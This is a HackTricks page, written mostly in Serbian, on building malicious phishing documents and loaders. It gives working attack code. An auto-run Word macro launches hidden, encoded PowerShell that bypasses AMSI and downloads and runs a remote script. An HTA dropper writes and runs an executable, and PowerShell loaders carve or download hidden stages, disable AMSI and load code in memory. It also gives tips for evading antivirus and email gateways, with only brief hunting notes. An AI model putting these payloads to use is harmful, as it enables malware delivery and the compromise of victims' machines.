Phishing datoteke i dokumenti
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Office dokumenti
Microsoft Word vrši validaciju podataka datoteke pre nego što otvori datoteku. Validacija podataka se vrši kroz identifikaciju strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se pojavi bilo koja greška tokom identifikacije strukture podataka, datoteka koja se analizira neće biti otvorena.
Obično Word fajlovi koji sadrže makroe koriste ekstenziju .docm. Međutim, moguće je preimenovati datoteku promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa.
Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa.
Ista interna struktura i mehanizmi važe za sav softver Microsoft Office Suite (Excel, PowerPoint etc.).
Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa:
assoc | findstr /i "word excel powerp"
DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe „izvršavati“ macros.
Učitavanje eksternih slika
Idite na: Insert --> Quick Parts --> Field
Categories: Links and References, Filed names: includePicture, i Filename or URL: http://
.png)
Macros Backdoor
Moguće je koristiti macros za izvršavanje arbitrary code iz dokumenta.
Autoload functions
Što su češće, veća je verovatnoća da će ih AV otkriti.
- AutoOpen()
- Document_Open()
Macros Code Examples
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Ručno uklonite metapodatke
Idite na File > Info > Inspect Document > Inspect Document, što će otvoriti Document Inspector. Kliknite Inspect i zatim Remove All pored Document Properties and Personal Information.
Ekstenzija dokumenta
Kada završite, izaberite padajući meni Save as type, promenite format sa .docx na Word 97-2003 .doc.
Radite ovo zato što ne možete sačuvati makroe unutar .docx i postoji stigma oko makro-omogućenog formata .docm (npr. sličica ima veliki ! i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova stara .doc ekstenzija najbolji kompromis.
Generatori zlonamernih makroa
HTA fajlovi
HTA je Windows program koji kombinuje HTML i skriptne jezike (kao što su VBScript i JScript). Generiše korisnički interfejs i izvršava se kao "potpuno pouzdana" aplikacija, bez ograničenja sigurnosnog modela pretraživača.
HTA se izvršava koristeći mshta.exe, koji je tipično instaliran zajedno sa Internet Explorer, čineći mshta zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forcing NTLM Authentication
Postoji nekoliko načina da natjerate NTLM autentifikaciju "udaljeno", na primer, možete dodati nevidljive slike u imejl ili HTML koje će korisnik pristupiti (čak i HTTP MitM?). Ili poslati žrtvi adresu fajlova koja će okidati autentifikaciju samo za otvaranje foldera.
Pogledajte ove ideje i više na sledećim stranicama:
Force NTLM Privileged Authentication
NTLM Relay
Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već takođe možete perform NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i pokreće potpuno u memoriji.
Tipičan tok koji implementira .lnk PowerShell one-liner:
- Pronađi originalni ZIP u uobičajenim lokacijama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljski direktorijum trenutnog radnog direktorijuma.
- Pročitaj bajtove ZIP-a i pronađi hardkodirani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload.
- Kopiraj ZIP u %ProgramData%, raspakuj tamo, i otvori mamac .docx da bi izgledalo legitimno.
- Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
Primer PowerShell skeleta za izdvajanje i pokretanje ugrađene faze:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Napomene
- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servirati benigni ZIP na osnovu IP/UA).
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizirali artefakti na disku.
Persistencija korišćena u istom lancu
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugradjuje automatski ponovo pokrene payload. Pogledajte detalje i spremne komande ovde:
Lov/IOCs
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) prikačeni na podatke arhive.
- .lnk koji enumeriše roditeljske/korisničke foldere da bi locirao ZIP i otvara lažni dokument.
- Manipulacija AMSI putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
Payload-i u slikama odvojeni steganografskim delimiterima (PowerShell stager)
Nedavni loader lanci isporučuju obfuskirani JavaScript/VBS koji dešifruje i pokreće Base64 PowerShell stager. Taj stager preuzima sliku (često GIF) koja sadrži Base64-enkodiran .NET DLL sakriven kao običan tekst između jedinstvenih start/end markera. Skript traži ove delimitere (primeri viđeni u prirodi: «<<sudo_png>> … <<sudo_odt>>>»), ekstrahuje tekst između, Base64-dekodira ga u bajtove, učitava assembly u memoriju i poziva poznatu entry metodu sa C2 URL-om.
Tok rada
- Faza 1: Archived JS/VBS dropper → dešifruje ugrađeni Base64 → pokreće PowerShell stager sa -nop -w hidden -ep bypass.
- Faza 2: PowerShell stager → preuzima sliku, ekstrahuje Base64 označen markerima, učitava .NET DLL u memoriji i poziva njegovu metodu (npr. VAI) prosleđujući C2 URL i opcije.
- Faza 3: Loader preuzima finalni payload i obično ga injektuje putem process hollowing u pouzdan binarni fajl (često MSBuild.exe). Više o process hollowing i trusted utility proxy execution ovde:
PowerShell primer za izvlačenje DLL-a iz slike i pozivanje .NET metode u memoriji:
PowerShell stego ekstraktor i loader
# Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory
param(
[string]$Url = 'https://example.com/payload.gif',
[string]$StartM = '<<sudo_png>>',
[string]$EndM = '<<sudo_odt>>',
[string]$EntryType = 'Loader',
[string]$EntryMeth = 'VAI',
[string]$C2 = 'https://c2.example/payload'
)
$img = (New-Object Net.WebClient).DownloadString($Url)
$start = $img.IndexOf($StartM)
$end = $img.IndexOf($EndM)
if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' }
$b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length))
$bytes = [Convert]::FromBase64String($b64)
$asm = [Reflection.Assembly]::Load($bytes)
$type = $asm.GetType($EntryType)
$method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic')
$null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))
Napomene
- Ovo je ATT&CK T1027.003 (steganography/marker-hiding). Markeri variraju između kampanja.
- AMSI/ETW bypass i string deobfuscation se obično primenjuju pre učitavanja assembly-ja.
- Hunting: skenirajte preuzete slike zbog poznatih delimitera; identifikujte PowerShell koji pristupa slikama i odmah dekodira Base64 blobove.
See also stego tools and carving techniques:
JS/VBS droppers → Base64 PowerShell staging
Ponavljajuća početna faza je mali, jako‑obfuskovan .js ili .vbs isporučen unutar arhive. Njegova jedina svrha je da dekodira ugrađeni Base64 string i pokrene PowerShell sa -nop -w hidden -ep bypass da bi pokrenuo sledeću fazu preko HTTPS-a.
Skeleton logic (abstract):
- Pročitaj sadržaj sopstvenog fajla
- Pronađi Base64 blob između junk strings
- Dekodiraj u ASCII PowerShell
- Izvrši pomoću
wscript.exe/cscript.exekoji pozivajupowershell.exe
Hunting cues
- Arhivirani JS/VBS prilozi koji pokreću
powershell.exesa-enc/FromBase64Stringu komandnoj liniji. wscript.exekoji pokrećepowershell.exe -nop -w hiddeniz korisničkih temp putanja.
Windows files to steal NTLM hashes
Proverite stranicu o places to steal NTLM creds:
References
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks